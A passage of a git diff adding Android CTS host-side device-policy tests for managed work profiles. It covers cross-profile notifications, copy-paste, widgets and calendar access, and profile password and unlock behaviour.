+        if (!mHasFeature) {
+            return;
+        }
+
+        installAppAsUser(NOTIFICATION_APK, USER_ALL);
+
+        // Profile owner in the profile adds listener to the whitelist
+        runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".NotificationListenerTest",
+                "testAddListenerToWhitelist", mProfileUserId,
+                Collections.singletonMap(PARAM_PROFILE_ID, Integer.toString(mProfileUserId)));
+        // Listener outside the profile can see profile and personal notifications
+        runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".NotificationListenerTest",
+                "testCanReceiveNotifications", mParentUserId,
+                Collections.singletonMap(PARAM_PROFILE_ID, Integer.toString(mProfileUserId)));
+    }
+
+    @Test
+    public void testCrossProfileNotificationListeners_setAndGet() throws Exception {
+        if (!mHasFeature) {
+            return;
+        }
+        installAppAsUser(NOTIFICATION_APK, USER_ALL);
+
+        runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".NotificationListenerTest",
+                "testSetAndGetPermittedCrossProfileNotificationListeners", mProfileUserId,
+                Collections.singletonMap(PARAM_PROFILE_ID, Integer.toString(mProfileUserId)));
+    }
+
+    @FlakyTest
+    @Test
+    public void testCrossProfileCopyPaste() throws Exception {
+        if (!mHasFeature) {
+            return;
+        }
+        installAppAsUser(INTENT_RECEIVER_APK, USER_ALL);
+        installAppAsUser(INTENT_SENDER_APK, USER_ALL);
+
+        runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".CrossProfileUtils",
+                "testAllowCrossProfileCopyPaste", mProfileUserId);
+        // Test that managed can see what is copied in the parent.
+        testCrossProfileCopyPasteInternal(mProfileUserId, true);
+        // Test that the parent can see what is copied in managed.
+        testCrossProfileCopyPasteInternal(mParentUserId, true);
+
+        runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".CrossProfileUtils",
+                "testDisallowCrossProfileCopyPaste", mProfileUserId);
+        // Test that managed can still see what is copied in the parent.
+        testCrossProfileCopyPasteInternal(mProfileUserId, true);
+        // Test that the parent cannot see what is copied in managed.
+        testCrossProfileCopyPasteInternal(mParentUserId, false);
+    }
+
+    private void testCrossProfileCopyPasteInternal(int userId, boolean shouldSucceed)
+            throws DeviceNotAvailableException {
+        final String direction = (userId == mParentUserId)
+                ? "testAddManagedCanAccessParentFilters"
+                : "testAddParentCanAccessManagedFilters";
+        runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".CrossProfileUtils",
+                "testRemoveAllFilters", mProfileUserId);
+        runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".CrossProfileUtils",
+                direction, mProfileUserId);
+        if (shouldSucceed) {
+            runDeviceTestsAsUser(INTENT_SENDER_PKG, ".CopyPasteTest",
+                    "testCanReadAcrossProfiles", userId);
+        } else {
+            runDeviceTestsAsUser(INTENT_SENDER_PKG, ".CopyPasteTest",
+                    "testCannotReadAcrossProfiles", userId);
+        }
+    }
+
+    @FlakyTest
+    @Test
+    public void testCrossProfileWidgets() throws Exception {
+        if (!mHasFeature) {
+            return;
+        }
+
+        try {
+            installAppAsUser(WIDGET_PROVIDER_APK, USER_ALL);
+            getDevice().executeShellCommand("appwidget grantbind --user " + mParentUserId
+                    + " --package " + WIDGET_PROVIDER_PKG);
+            setIdleWhitelist(WIDGET_PROVIDER_PKG, true);
+            startWidgetHostService();
+
+            String commandOutput = changeCrossProfileWidgetForUser(WIDGET_PROVIDER_PKG,
+                    "add-cross-profile-widget", mProfileUserId);
+            assertTrue("Command was expected to succeed " + commandOutput,
+                    commandOutput.contains("Status: ok"));
+
+            runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".CrossProfileWidgetTest",
+                    "testCrossProfileWidgetProviderAdded", mProfileUserId);
+            runDeviceTestsAsUser(MANAGED_PROFILE_PKG,
+                    ".CrossProfileWidgetPrimaryUserTest",
+                    "testHasCrossProfileWidgetProvider_true", mParentUserId);
+            runDeviceTestsAsUser(MANAGED_PROFILE_PKG,
+                    ".CrossProfileWidgetPrimaryUserTest",
+                    "testHostReceivesWidgetUpdates_true", mParentUserId);
+
+            commandOutput = changeCrossProfileWidgetForUser(WIDGET_PROVIDER_PKG,
+                    "remove-cross-profile-widget", mProfileUserId);
+            assertTrue("Command was expected to succeed " + commandOutput,
+                    commandOutput.contains("Status: ok"));
+
+            runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".CrossProfileWidgetTest",
+                    "testCrossProfileWidgetProviderRemoved", mProfileUserId);
+            runDeviceTestsAsUser(MANAGED_PROFILE_PKG,
+                    ".CrossProfileWidgetPrimaryUserTest",
+                    "testHasCrossProfileWidgetProvider_false", mParentUserId);
+            runDeviceTestsAsUser(MANAGED_PROFILE_PKG,
+                    ".CrossProfileWidgetPrimaryUserTest",
+                    "testHostReceivesWidgetUpdates_false", mParentUserId);
+        } finally {
+            changeCrossProfileWidgetForUser(WIDGET_PROVIDER_PKG, "remove-cross-profile-widget",
+                    mProfileUserId);
+            getDevice().uninstallPackage(WIDGET_PROVIDER_PKG);
+        }
+    }
+
+    @FlakyTest
+    @Test
+    public void testCrossProfileWidgetsLogged() throws Exception {
+        if (!mHasFeature || !isStatsdEnabled(getDevice())) {
+            return;
+        }
+
+        try {
+            installAppAsUser(WIDGET_PROVIDER_APK, USER_ALL);
+            getDevice().executeShellCommand("appwidget grantbind --user " + mParentUserId
+                    + " --package " + WIDGET_PROVIDER_PKG);
+            setIdleWhitelist(WIDGET_PROVIDER_PKG, true);
+            startWidgetHostService();
+
+            assertMetricsLogged(getDevice(), () -> {
+                changeCrossProfileWidgetForUser(WIDGET_PROVIDER_PKG,
+                        "add-cross-profile-widget", mProfileUserId);
+                changeCrossProfileWidgetForUser(WIDGET_PROVIDER_PKG,
+                        "remove-cross-profile-widget", mProfileUserId);
+            }, new DevicePolicyEventWrapper
+                        .Builder(EventId.ADD_CROSS_PROFILE_WIDGET_PROVIDER_VALUE)
+                        .setAdminPackageName(MANAGED_PROFILE_PKG)
+                        .build(),
+                new DevicePolicyEventWrapper
+                        .Builder(EventId.REMOVE_CROSS_PROFILE_WIDGET_PROVIDER_VALUE)
+                        .setAdminPackageName(MANAGED_PROFILE_PKG)
+                        .build());
+        } finally {
+            changeCrossProfileWidgetForUser(WIDGET_PROVIDER_PKG, "remove-cross-profile-widget",
+                    mProfileUserId);
+            getDevice().uninstallPackage(WIDGET_PROVIDER_PKG);
+        }
+    }
+
+    @Test
+    public void testCrossProfileCalendarPackage() throws Exception {
+        if (!mHasFeature) {
+            return;
+        }
+        assertMetricsLogged(getDevice(), () -> {
+            runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".CrossProfileCalendarTest",
+                    "testCrossProfileCalendarPackage", mProfileUserId);
+        }, new DevicePolicyEventWrapper.Builder(EventId.SET_CROSS_PROFILE_CALENDAR_PACKAGES_VALUE)
+                    .setAdminPackageName(MANAGED_PROFILE_PKG)
+                    .setStrings(MANAGED_PROFILE_PKG)
+                    .build());
+    }
+
+    @FlakyTest
+    @Test
+    public void testCrossProfileCalendar() throws Exception {
+        if (!mHasFeature) {
+            return;
+        }
+        runCrossProfileCalendarTestsWhenWhitelistedAndEnabled();
+        runCrossProfileCalendarTestsWhenAllPackagesWhitelisted();
+        runCrossProfileCalendarTestsWhenDisabled();
+        runCrossProfileCalendarTestsWhenNotWhitelisted();
+    }
+
+    @FlakyTest
+    @Test
+    public void testDisallowSharingIntoPersonalFromProfile() throws Exception {
+        if (!mHasFeature) {
+            return;
+        }
+        // Set up activities: PrimaryUserActivity will only be enabled in the personal user
+        // This activity is used to find out the ground truth about the system's cross profile
+        // intent forwarding activity.
+        disableActivityForUser("PrimaryUserActivity", mProfileUserId);
+
+        // Tests from the profile side
+        runDeviceTestsAsUser(MANAGED_PROFILE_PKG,
+                ".DisallowSharingIntoProfileTest", "testSharingFromProfile", mProfileUserId);
+    }
+
+    @Test
+    public void testDisallowSharingIntoProfileFromPersonal() throws Exception {
+        if (!mHasFeature) {
+            return;
+        }
+        // Set up activities: ManagedProfileActivity will only be enabled in the managed profile
+        // This activity is used to find out the ground truth about the system's cross profile
+        // intent forwarding activity.
+        disableActivityForUser("ManagedProfileActivity", mParentUserId);
+
+        // Tests from the personal side, which is mostly driven from host side.
+        runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".DisallowSharingIntoProfileTest",
+                "testSetUp", mProfileUserId);
+        runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".DisallowSharingIntoProfileTest",
+                "testDisableSharingIntoProfile", mProfileUserId);
+        runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".DisallowSharingIntoProfileTest",
+                "testSharingFromPersonalFails", mParentUserId);
+        runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".DisallowSharingIntoProfileTest",
+                "testEnableSharingIntoProfile", mProfileUserId);
+        runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".DisallowSharingIntoProfileTest",
+                "testSharingFromPersonalSucceeds", mParentUserId);
+    }
+
+    private void runCrossProfileCalendarTestsWhenWhitelistedAndEnabled() throws Exception {
+        try {
+            // Setup. Add the test package into cross-profile calendar whitelist, enable
+            // cross-profile calendar in settings, and insert test data into calendar provider.
+            // All setups should be done in managed profile.
+            runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".CrossProfileCalendarTest",
+                    "testWhitelistManagedProfilePackage", mProfileUserId);
+            runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".CrossProfileCalendarTest",
+                    "testAddTestCalendarDataForWorkProfile", mProfileUserId);
+            runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".CrossProfileCalendarTest",
+                    "testEnableCrossProfileCalendarSettings", mProfileUserId);
+
+            // Testing.
+            runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".CrossProfileCalendarTest",
+                    "testPrimaryProfile_getCorrectWorkCalendarsWhenEnabled", mParentUserId);
+            runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".CrossProfileCalendarTest",
+                    "testPrimaryProfile_getCorrectWorkEventsWhenEnabled", mParentUserId);
+            runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".CrossProfileCalendarTest",
+                    "testPrimaryProfile_getCorrectWorkInstancesWhenEnabled", mParentUserId);
+            runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".CrossProfileCalendarTest",
+                    "testPrimaryProfile_getCorrectWorkInstancesByDayWhenEnabled", mParentUserId);
+            runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".CrossProfileCalendarTest",
+                    "testPrimaryProfile_canAccessWorkInstancesSearch1", mParentUserId);
+            runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".CrossProfileCalendarTest",
+                    "testPrimaryProfile_canAccessWorkInstancesSearch2", mParentUserId);
+            runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".CrossProfileCalendarTest",
+                    "testPrimaryProfile_canAccessWorkInstancesSearchByDay", mParentUserId);
+            runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".CrossProfileCalendarTest",
+                    "testPrimaryProfile_getExceptionWhenQueryNonWhitelistedColumns", mParentUserId);
+        } finally {
+            // Cleanup.
+            runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".CrossProfileCalendarTest",
+                    "testCleanupWhitelist", mProfileUserId);
+            runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".CrossProfileCalendarTest",
+                    "testCleanupTestCalendarDataForWorkProfile", mProfileUserId);
+            runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".CrossProfileCalendarTest",
+                    "testDisableCrossProfileCalendarSettings", mProfileUserId);
+        }
+    }
+
+    private void runCrossProfileCalendarTestsWhenAllPackagesWhitelisted() throws Exception {
+        try {
+            // Setup. Allow all packages to access cross-profile calendar APIs by setting
+            // the whitelist to null, enable cross-profile calendar in settings,
+            // and insert test data into calendar provider.
+            // All setups should be done in managed profile.
+            runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".CrossProfileCalendarTest",
+                    "testWhitelistAllPackages", mProfileUserId);
+            runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".CrossProfileCalendarTest",
+                    "testAddTestCalendarDataForWorkProfile", mProfileUserId);
+            runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".CrossProfileCalendarTest",
+                    "testEnableCrossProfileCalendarSettings", mProfileUserId);
+
+            // Testing.
+            runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".CrossProfileCalendarTest",
+                    "testPrimaryProfile_getCorrectWorkCalendarsWhenEnabled", mParentUserId);
+            runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".CrossProfileCalendarTest",
+                    "testPrimaryProfile_getCorrectWorkEventsWhenEnabled", mParentUserId);
+            runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".CrossProfileCalendarTest",
+                    "testPrimaryProfile_getCorrectWorkInstancesWhenEnabled", mParentUserId);
+            runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".CrossProfileCalendarTest",
+                    "testPrimaryProfile_getCorrectWorkInstancesByDayWhenEnabled", mParentUserId);
+            runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".CrossProfileCalendarTest",
+                    "testPrimaryProfile_canAccessWorkInstancesSearch1", mParentUserId);
+            runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".CrossProfileCalendarTest",
+                    "testPrimaryProfile_canAccessWorkInstancesSearch2", mParentUserId);
+            runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".CrossProfileCalendarTest",
+                    "testPrimaryProfile_canAccessWorkInstancesSearchByDay", mParentUserId);
+            runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".CrossProfileCalendarTest",
+                    "testPrimaryProfile_getExceptionWhenQueryNonWhitelistedColumns", mParentUserId);
+        } finally {
+            // Cleanup.
+            runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".CrossProfileCalendarTest",
+                    "testCleanupWhitelist", mProfileUserId);
+            runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".CrossProfileCalendarTest",
+                    "testCleanupTestCalendarDataForWorkProfile", mProfileUserId);
+            runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".CrossProfileCalendarTest",
+                    "testDisableCrossProfileCalendarSettings", mProfileUserId);
+        }
+    }
+
+    private void runCrossProfileCalendarTestsWhenDisabled() throws Exception {
+        try {
+            // Setup. Add the test package into cross-profile calendar whitelist,
+            // and insert test data into calendar provider. But disable cross-profile calendar
+            // in settings. Thus cross-profile calendar Uris should not be accessible.
+            // All setups should be done in managed profile.
+            runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".CrossProfileCalendarTest",
+                    "testWhitelistManagedProfilePackage", mProfileUserId);
+            runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".CrossProfileCalendarTest",
+                    "testAddTestCalendarDataForWorkProfile", mProfileUserId);
+            runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".CrossProfileCalendarTest",
+                    "testDisableCrossProfileCalendarSettings", mProfileUserId);
+
+            // Testing.
+            runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".CrossProfileCalendarTest",
+                    "testPrimaryProfile_cannotAccessWorkCalendarsWhenDisabled", mParentUserId);
+            runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".CrossProfileCalendarTest",
+                    "testPrimaryProfile_cannotAccessWorkEventsWhenDisabled", mParentUserId);
+            runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".CrossProfileCalendarTest",
+                    "testPrimaryProfile_cannotAccessWorkInstancesWhenDisabled", mParentUserId);
+        } finally {
+            // Cleanup.
+            runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".CrossProfileCalendarTest",
+                    "testCleanupWhitelist", mProfileUserId);
+            runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".CrossProfileCalendarTest",
+                    "testCleanupTestCalendarDataForWorkProfile", mProfileUserId);
+        }
+    }
+
+    private void runCrossProfileCalendarTestsWhenNotWhitelisted() throws Exception {
+        try {
+            // Setup. Enable cross-profile calendar in settings and insert test data into calendar
+            // provider. But make sure that the test package is not whitelisted for cross-profile
+            // calendar. Thus cross-profile calendar Uris should not be accessible.
+            // All setups should be done in managed profile.
+            runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".CrossProfileCalendarTest",
+                    "testAddTestCalendarDataForWorkProfile", mProfileUserId);
+            runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".CrossProfileCalendarTest",
+                    "testEnableCrossProfileCalendarSettings", mProfileUserId);
+
+            // Testing.
+            runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".CrossProfileCalendarTest",
+                    "testPrimaryProfile_cannotAccessWorkCalendarsWhenDisabled", mParentUserId);
+            runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".CrossProfileCalendarTest",
+                    "testPrimaryProfile_cannotAccessWorkEventsWhenDisabled", mParentUserId);
+            runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".CrossProfileCalendarTest",
+                    "testPrimaryProfile_cannotAccessWorkInstancesWhenDisabled", mParentUserId);
+            runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".CrossProfileCalendarTest",
+                    "testViewEventCrossProfile_intentFailedWhenNotWhitelisted", mParentUserId);
+        } finally {
+            // Cleanup.
+            runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".CrossProfileCalendarTest",
+                    "testCleanupTestCalendarDataForWorkProfile", mProfileUserId);
+            runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".CrossProfileCalendarTest",
+                    "testDisableCrossProfileCalendarSettings", mProfileUserId);
+        }
+    }
+
+    private void setIdleWhitelist(String packageName, boolean enabled)
+            throws DeviceNotAvailableException {
+        String command = "cmd deviceidle whitelist " + (enabled ? "+" : "-") + packageName;
+        LogUtil.CLog.d("Output for command " + command + ": "
+                + getDevice().executeShellCommand(command));
+    }
+
+    private String changeCrossProfileWidgetForUser(String packageName, String command, int userId)
+            throws DeviceNotAvailableException {
+        String adbCommand = "am start -W --user " + userId
+                + " -c android.intent.category.DEFAULT "
+                + " --es extra-command " + command
+                + " --es extra-package-name " + packageName
+                + " " + MANAGED_PROFILE_PKG + "/.SetPolicyActivity";
+        String commandOutput = getDevice().executeShellCommand(adbCommand);
+        LogUtil.CLog.d("Output for command " + adbCommand + ": " + commandOutput);
+        return commandOutput;
+    }
+
+    private void startWidgetHostService() throws Exception {
+        String command = "am startservice --user " + mParentUserId
+                + " -a " + WIDGET_PROVIDER_PKG + ".REGISTER_CALLBACK "
+                + "--ei user-extra " + getUserSerialNumber(mProfileUserId)
+                + " " + WIDGET_PROVIDER_PKG + "/.SimpleAppWidgetHostService";
+        LogUtil.CLog.d("Output for command " + command + ": "
+                + getDevice().executeShellCommand(command));
+    }
+}
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/ManagedProfilePasswordTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/ManagedProfilePasswordTest.java
new file mode 100644
index 0000000..dde6426
--- /dev/null
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/ManagedProfilePasswordTest.java
@@ -0,0 +1,260 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.devicepolicy;
+
+import static com.android.cts.devicepolicy.metrics.DevicePolicyEventLogVerifier.assertMetricsLogged;
+import static com.android.cts.devicepolicy.metrics.DevicePolicyEventLogVerifier.isStatsdEnabled;
+
+import android.platform.test.annotations.FlakyTest;
+import android.platform.test.annotations.LargeTest;
+import android.stats.devicepolicy.EventId;
+
+import com.android.cts.devicepolicy.annotations.LockSettingsTest;
+import com.android.cts.devicepolicy.metrics.DevicePolicyEventWrapper;
+import com.android.tradefed.device.DeviceNotAvailableException;
+
+import org.junit.Test;
+
+import java.util.concurrent.TimeUnit;
+
+public class ManagedProfilePasswordTest extends BaseManagedProfileTest {
+    private static final String USER_STATE_LOCKED = "RUNNING_LOCKED";
+    private static final long TIMEOUT_USER_LOCKED_MILLIS = TimeUnit.MINUTES.toMillis(2);
+    // Password needs to be in sync with ResetPasswordWithTokenTest.PASSWORD1
+    private static final String RESET_PASSWORD_TEST_DEFAULT_PASSWORD = "123456";
+
+    @FlakyTest
+    @Test
+    public void testLockNowWithKeyEviction() throws Exception {
+        if (!mHasFeature || !mSupportsFbe || !mHasSecureLockScreen) {
+            return;
+        }
+        changeUserCredential("1234", null, mProfileUserId);
+        lockProfile();
+    }
+
+    @Test
+    public void testPasswordMinimumRestrictions() throws Exception {
+        if (!mHasFeature) {
+            return;
+        }
+        runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".PasswordMinimumRestrictionsTest",
+                mProfileUserId);
+    }
+
+    @FlakyTest
+    @Test
+    public void testResetPasswordWithTokenBeforeUnlock() throws Exception {
+        if (!mHasFeature || !mSupportsFbe || !mHasSecureLockScreen) {
+            return;
+        }
+
+        runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".ResetPasswordWithTokenTest",
+                "testSetupWorkProfile", mProfileUserId);
+        lockProfile();
+        runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".ResetPasswordWithTokenTest",
+                "testResetPasswordBeforeUnlock", mProfileUserId);
+        // Password needs to be in sync with ResetPasswordWithTokenTest.PASSWORD1
+        verifyUserCredential(RESET_PASSWORD_TEST_DEFAULT_PASSWORD, mProfileUserId);
+    }
+
+    @FlakyTest
+    @Test
+    public void testClearPasswordWithTokenBeforeUnlock() throws Exception {
+        if (!mHasFeature || !mSupportsFbe || !mHasSecureLockScreen) {
+            return;
+        }
+
+        runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".ResetPasswordWithTokenTest",
+                "testSetupWorkProfile", mProfileUserId);
+        lockProfile();
+        runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".ResetPasswordWithTokenTest",
+                "testClearPasswordBeforeUnlock", mProfileUserId);
+        // Make sure profile has no password
+        verifyUserCredential("", mProfileUserId);
+    }
+
+    /**
+     * Test password reset token is still functional after the primary user clears and
+     * re-adds back its device lock. This is to detect a regression where the work profile
+     * undergoes an untrusted credential reset (causing synthetic password to change, invalidating
+     * existing password reset token) if it has unified work challenge and the primary user clears
+     * the device lock.
+     */
+    @FlakyTest
+    @Test
+    public void testResetPasswordTokenUsableAfterClearingLock() throws Exception {
+        if (!mHasFeature || !mSupportsFbe || !mHasSecureLockScreen) {
+            return;
+        }
+        final String devicePassword = "1234";
+
+        runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".ResetPasswordWithTokenTest",
+                "testSetResetPasswordToken", mProfileUserId);
+        try {
+            changeUserCredential(devicePassword, null, mParentUserId);
+            changeUserCredential(null, devicePassword, mParentUserId);
+            changeUserCredential(devicePassword, null, mParentUserId);
+            lockProfile();
+            runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".ResetPasswordWithTokenTest",
+                    "testResetPasswordBeforeUnlock", mProfileUserId);
+            verifyUserCredential(RESET_PASSWORD_TEST_DEFAULT_PASSWORD, mProfileUserId);
+        } finally {
+            changeUserCredential(null, devicePassword, mParentUserId);
+            // Cycle the device screen to flush stale password information from keyguard,
+            // otherwise it will still ask for the non-existent password.
+            // return screen to be on for cts test runs
+            executeShellCommand("input keyevent KEYCODE_WAKEUP");
+            executeShellCommand("input keyevent KEYCODE_SLEEP");
+            executeShellCommand("input keyevent KEYCODE_WAKEUP");
+        }
+    }
+
+    @LockSettingsTest
+    @Test
+    public void testIsUsingUnifiedPassword() throws Exception {
+        if (!mHasFeature || !mHasSecureLockScreen) {
+            return;
+        }
+
+        // Freshly created profile has no separate challenge.
+        verifyUnifiedPassword(true);
+
+        // Set separate challenge and verify that the API reports it correctly.
+        changeUserCredential("1234" /* newCredential */, null /* oldCredential */, mProfileUserId);
+        verifyUnifiedPassword(false);
+    }
+
+    @FlakyTest
+    @LargeTest
+    @LockSettingsTest
+    @Test
+    public void testUnlockWorkProfile_deviceWidePassword() throws Exception {
+        if (!mHasFeature || !mSupportsFbe || !mHasSecureLockScreen) {
+            return;
+        }
+        String password = "0000";
+        try {
+            // Add a device password after the work profile has been created.
+            changeUserCredential(password, /* oldCredential= */ null, mPrimaryUserId);
+            // Lock the profile with key eviction.
+            lockProfile();
+            // Turn on work profile, by unlocking the profile with the device password.
+            verifyUserCredential(password, mPrimaryUserId);
+
+            // Verify profile user is running unlocked by running a sanity test on the work profile.
+            installAppAsUser(SIMPLE_APP_APK, mProfileUserId);
+            runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".SanityTest", mProfileUserId);
+        } finally {
+            // Clean up
+            changeUserCredential(/* newCredential= */ null, password, mPrimaryUserId);
+        }
+    }
+
+    @FlakyTest
+    @LargeTest
+    @LockSettingsTest
+    @Test
+    public void testRebootDevice_unifiedPassword() throws Exception {
+        if (!mHasFeature || !mHasSecureLockScreen) {
+            return;
+        }
+        // Waiting before rebooting prevents flakiness.
+        waitForBroadcastIdle();
+        String password = "0000";
+        changeUserCredential(password, /* oldCredential= */ null, mPrimaryUserId);
+        try {
+            rebootAndWaitUntilReady();
+            verifyUserCredential(password, mPrimaryUserId);
+            installAppAsUser(SIMPLE_APP_APK, mProfileUserId);
+            runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".SanityTest", mProfileUserId);
+        } finally {
+            changeUserCredential(/* newCredential= */ null, password, mPrimaryUserId);
+            // Work-around for http://b/113866275 - password prompt being erroneously shown at the
+            // end.
+            pressPowerButton();
+        }
+    }
+
+    @LargeTest
+    @LockSettingsTest
+    @Test
+    public void testRebootDevice_separatePasswords() throws Exception {
+        if (!mHasFeature || !mHasSecureLockScreen) {
+            return;
+        }
+        // Waiting before rebooting prevents flakiness.
+        waitForBroadcastIdle();
+        String profilePassword = "profile";
+        String primaryPassword = "primary";
+        int managedProfileUserId = getFirstManagedProfileUserId();
+        changeUserCredential(
+                profilePassword, /* oldCredential= */ null, managedProfileUserId);
+        changeUserCredential(primaryPassword, /* oldCredential= */ null, mPrimaryUserId);
+        try {
+            rebootAndWaitUntilReady();
+            verifyUserCredential(profilePassword, managedProfileUserId);
+            verifyUserCredential(primaryPassword, mPrimaryUserId);
+            installAppAsUser(SIMPLE_APP_APK, mProfileUserId);
+            runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".SanityTest", mProfileUserId);
+        } finally {
+            changeUserCredential(
+                    /* newCredential= */ null, profilePassword, managedProfileUserId);
+            changeUserCredential(/* newCredential= */ null, primaryPassword, mPrimaryUserId);
+            // Work-around for http://b/113866275 - password prompt being erroneously shown at the
+            // end.
+            pressPowerButton();
+        }
+    }
+
+    @Test
+    public void testCreateSeparateChallengeChangedLogged() throws Exception {
+        if (!mHasFeature || !mHasSecureLockScreen || !isStatsdEnabled(getDevice())) {
+            return;
+        }
+        assertMetricsLogged(getDevice(), () -> {
+            changeUserCredential(
+                    "1234" /* newCredential */, null /* oldCredential */, mProfileUserId);
+        }, new DevicePolicyEventWrapper.Builder(EventId.SEPARATE_PROFILE_CHALLENGE_CHANGED_VALUE)
+                .setBoolean(true)
+                .build());
+    }
+
+    private void verifyUnifiedPassword(boolean unified) throws DeviceNotAvailableException {
+        final String testMethod =
+                unified ? "testUsingUnifiedPassword" : "testNotUsingUnifiedPassword";
+        runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".IsUsingUnifiedPasswordTest",
+                testMethod, mProfileUserId);
+    }
+
+    private void lockProfile() throws Exception {
+        final String cmd = "am broadcast --receiver-foreground --user " + mProfileUserId
+                + " -a com.android.cts.managedprofile.LOCK_PROFILE"
+                + " com.android.cts.managedprofile/.LockProfileReceiver";
+        getDevice().executeShellCommand(cmd);
+        waitUntilProfileLocked();
+    }
+
+    private void waitUntilProfileLocked() throws Exception {
+        final String cmd = String.format("am get-started-user-state %d", mProfileUserId);
+        tryWaitForSuccess(
+                () -> getDevice().executeShellCommand(cmd).startsWith(USER_STATE_LOCKED),
+                "The managed profile has not been locked after calling "
+                        + "lockNow(FLAG_SECURE_USER_DATA)",
+                TIMEOUT_USER_LOCKED_MILLIS);
+    }
+}
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/ManagedProfileProvisioningSingleAdminTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/ManagedProfileProvisioningSingleAdminTest.java
index b71c4c87..897e23a 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/ManagedProfileProvisioningSingleAdminTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/ManagedProfileProvisioningSingleAdminTest.java
@@ -15,6 +15,10 @@
  */
 package com.android.cts.devicepolicy;
 
+import android.platform.test.annotations.FlakyTest;
+
+import org.junit.Test;
+
 /**
  * This class tests the provisioning flow with an APK that declares a single receiver with
  * BIND_DEVICE_ADMIN permissions, which was a requirement for the app sending the
@@ -28,7 +32,7 @@
     private int mProfileUserId;
 
     @Override
-    protected void setUp() throws Exception {
+    public void setUp() throws Exception {
         super.setUp();
 
         // We need multi user to be supported in order to create a profile of the user owner.
@@ -42,7 +46,7 @@
     }
 
     @Override
-    protected void tearDown() throws Exception {
+    public void tearDown() throws Exception {
         if (mHasFeature) {
             if (mProfileUserId != 0) {
                 removeUser(mProfileUserId);
@@ -52,6 +56,8 @@
         super.tearDown();
     }
 
+    @FlakyTest
+    @Test
